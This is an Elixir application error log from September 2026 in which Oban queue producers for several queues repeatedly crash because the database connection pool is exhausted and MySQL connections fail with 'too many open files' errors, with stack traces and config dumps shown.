State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:46:17.242291Z], limit: 5, uuid: "7d1079a9-da72-4b31-8362-61181639fe91", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:17.242297Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.53840>, refresh_timer: #Reference<0.2525715032.1121189889.220352>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:29.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 811ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:46:17.241455Z], limit: 5, uuid: "09ab502b-af3c-4aea-8231-508253fa09c1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:17.241478Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.220332>, refresh_timer: #Reference<0.2525715032.1099431938.68679>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:29.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 898ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:46:17.242267Z], limit: 3, uuid: "30744f76-ad9f-471f-928a-57d5f957e178", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:17.242273Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.53841>, refresh_timer: #Reference<0.2525715032.1121189889.220348>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:29.459000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:31.004000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:37.602000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:39.140000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:39.592000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:39.904000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:41.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1044ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:46:29.239847Z], limit: 5, uuid: "fcbe0d59-8047-4a39-b4f5-efcbf032a44e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:29.239854Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.220681>, refresh_timer: #Reference<0.2525715032.1121189889.220639>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:41.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1079ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:46:29.239503Z], limit: 50, uuid: "304f9edc-c375-4ea7-8d21-6d8dab9b1d45", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:29.239509Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.54148>, refresh_timer: #Reference<0.2525715032.1077673987.54116>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:41.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1055ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:46:29.238935Z], limit: 10, uuid: "23f25a83-5f96-4e32-98b2-ef5179a0a693", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:29.238941Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.220680>, refresh_timer: #Reference<0.2525715032.1077673987.54092>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:41.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1048ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:46:29.239155Z], limit: 20, uuid: "9e46abbe-0b63-4952-b0c1-3a67eb1e7db5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:29.239160Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.220679>, refresh_timer: #Reference<0.2525715032.1077673987.54103>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:41.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1089ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:46:29.241052Z], limit: 5, uuid: "047e2c70-4492-416a-bf0d-1babc3322cf7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:29.241057Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.220678>, refresh_timer: #Reference<0.2525715032.1121189889.220664>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:41.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 804ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:46:29.241781Z], limit: 3, uuid: "80627449-d103-4d12-b976-80d02ea01b77", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:29.241787Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.54149>, refresh_timer: #Reference<0.2525715032.1068498948.77256>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:43.570000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:43.645000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:49.269000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:49.796000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:53.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 864ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
